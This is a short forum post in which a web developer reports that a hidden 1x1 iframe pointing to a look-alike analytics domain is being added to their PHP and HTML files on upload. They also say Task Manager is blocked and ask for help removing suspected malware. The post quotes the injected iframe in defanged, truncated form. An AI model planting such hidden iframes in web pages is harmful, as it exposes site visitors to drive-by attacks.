I am facing a serious problem since last 4 days. When i work on php, html codes and uplaod them to server i find <iframe src="http://google-ana1yticz
dot com /?click=4BA8B6" width=1 height=1 style="visibility:hidden;p
iframe> automaticaly added at the end of code. But when i check my local codes there is no such line. I am facing this problem again and again.
I searched google for the problem and found a note about it. The person has suggested few steps. using task manager. But when i try to start my taskmanager "taskmgr" it shows alert "your administrator has blocked taskmanager". I am pretty sure there is virus in my pc. I run antivirus and antispyware programs but they show nothing and the problem is as it is.
Please suggest me what i should do.